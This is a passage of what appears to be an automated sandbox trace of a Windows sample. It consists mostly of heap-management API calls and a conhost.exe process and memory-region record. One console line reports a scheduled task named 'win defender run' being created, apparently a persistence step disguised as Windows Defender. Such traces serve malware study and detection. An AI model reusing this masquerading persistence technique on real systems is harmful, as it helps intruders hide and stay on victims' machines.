(hFile=0x3c) returned 0x2 [0153.477] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0153.477] GetFileType (hFile=0x3c) returned 0x2 [0153.477] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xccde0 | out: lpMode=0xccde0) returned 1 [0153.478] __iob_func () returned 0x756f1208 [0153.478] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0153.478] lstrlenW (lpString="SUCCESS: The scheduled task \"win defender run\" has successfully been created.\n") returned 78 [0153.478] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcd298*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0xcce04, lpReserved=0x0 | out: lpBuffer=0xcd298*, lpNumberOfCharsWritten=0xcce04*=0x4e) returned 1 [0153.479] IUnknown:Release (This=0x46321b0) returned 0x0 [0153.479] TaskScheduler:IUnknown:Release (This=0x46339f8) returned 0x0 [0153.479] TaskScheduler:IUnknown:Release (This=0x46339a8) returned 0x0 [0153.479] TaskScheduler:IUnknown:Release (This=0x4633880) returned 0x0 [0153.479] lstrlenW (lpString="") returned 0 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aa040) returned 1 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aa040) returned 0x1fc [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96b8) returned 1 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96b8) returned 0x16 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aaca8) returned 1 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aaca8) returned 0x10 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9618) returned 1 [0153.479] GetProcessHeap () returned 0x42a0000 [0153.479] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9618) returned 0x14 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a8fc0) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a8fc0) returned 0xa0 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7448) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7448) returned 0x10 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a95d8) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a95d8) returned 0x14 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aaf70) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aaf70) returned 0x60 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aab58) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aab58) returned 0x10 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a94b8) returned 1 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a94b8) returned 0x14 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] GetProcessHeap () returned 0x42a0000 [0153.480] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aaf00) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aaf00) returned 0x64 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aad08) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aad08) returned 0x10 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9498) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9498) returned 0x14 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7508) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7508) returned 0xc [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a74f0) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a74f0) returned 0x10 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9538) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9538) returned 0x14 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a8db0) returned 1 [0153.481] GetProcessHeap () returned 0x42a0000 [0153.481] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a8db0) returned 0x208 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7430) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7430) returned 0x10 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9798) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9798) returned 0x14 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aa8f0) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aa8f0) returned 0x200 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7568) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7568) returned 0x10 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9518) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9518) returned 0x14 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a94d8) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a94d8) returned 0x14 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.482] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a74c0) returned 1 [0153.482] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a74c0) returned 0x10 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a2858) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a2858) returned 0x14 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a95f8) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a95f8) returned 0x16 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7490) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7490) returned 0x10 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a66e8) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a66e8) returned 0x14 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a0598) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a0598) returned 0x2 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6f18) returned 1 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6f18) returned 0x14 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] GetProcessHeap () returned 0x42a0000 [0153.483] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6ce0) returned 1 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6ce0) returned 0x14 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6d00) returned 1 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6d00) returned 0x14 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6d20) returned 1 [0153.484] GetProcessHeap () returned 0x42a0000 [0153.484] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6d20) returned 0x14 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9758) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9758) returned 0x14 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aab88) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aab88) returned 0xc [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9678) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9678) returned 0x14 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a2660) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a2660) returned 0x30 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9558) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9558) returned 0x14 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9068) returned 1 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.485] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9068) returned 0x30 [0153.485] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9578) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9578) returned 0x14 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96f8) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96f8) returned 0x16 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9638) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9638) returned 0x14 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9418) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9418) returned 0x16 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9698) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9698) returned 0x14 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42b92e0) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42b92e0) returned 0x82 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.486] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9778) returned 1 [0153.486] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9778) returned 0x14 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aaba0) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aaba0) returned 0xe [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a94f8) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a94f8) returned 0x14 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aabb8) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aabb8) returned 0xc [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a97b8) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a97b8) returned 0x14 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aacc0) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aacc0) returned 0xe [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a96d8) returned 1 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a96d8) returned 0x14 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] GetProcessHeap () returned 0x42a0000 [0153.487] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aac30) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aac30) returned 0x10 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a93f8) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a93f8) returned 0x14 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7418) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7418) returned 0x10 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6910) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6910) returned 0x14 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6930) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6930) returned 0x14 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a6950) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a6950) returned 0x14 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a66a8) returned 1 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.488] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a66a8) returned 0x14 [0153.488] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7550) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7550) returned 0x10 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a66c8) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a66c8) returned 0x14 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a2878) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a2878) returned 0x14 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a95b8) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a95b8) returned 0x14 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9718) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9718) returned 0x14 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9658) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a9658) returned 0x14 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a74d8) returned 1 [0153.489] GetProcessHeap () returned 0x42a0000 [0153.489] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a74d8) returned 0x10 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a2898) returned 1 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a2898) returned 0x14 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a7400) returned 1 [0153.490] GetProcessHeap () returned 0x42a0000 [0153.490] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42a7400) returned 0x10 [0153.490] exit (_Code=0) Thread: id = 152 os_tid = 0x11e0 Process: id = "11" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x659a8000" os_pid = "0x121c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x1208" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1571 start_va = 0x28e00000 end_va = 0x28ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000028e00000" filename = "" Region: id = 1572 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1573 start_va = 0x7468d20000 end_va = 0x7468d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007468d20000" filename = "" Region: id = 1574 start_va = 0x7468e00000 end_va = 0x7468ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007468e00000" filename = "" Region: id = 1575 start_va = 0x198b5af0000 end_va = 0x198b5b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5af0000" filename = "" Region: id = 1576 start_va = 0x198b5b10000 end_va = 0x198b5b24fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b5b10000" filename = "" Region: id = 1577 start_va = 0x7df5ff9c0000 end_va = 0x7ff5ff9bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff9c0000" filename = "" Region: id = 1578 start_va = 0x7ff616c10000 end_va = 0x7ff616c32fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616c10000" filename = "" Region: id = 1579 start_va = 0x7ff617080000 end_va = 0x7ff617090fff monitored = 0 entry_point = 0x7ff6170816b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 1580 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1581 start_va = 0x198b5b30000 end_va = 0x198b5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5b30000" filename = "" Region: id = 1582 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" 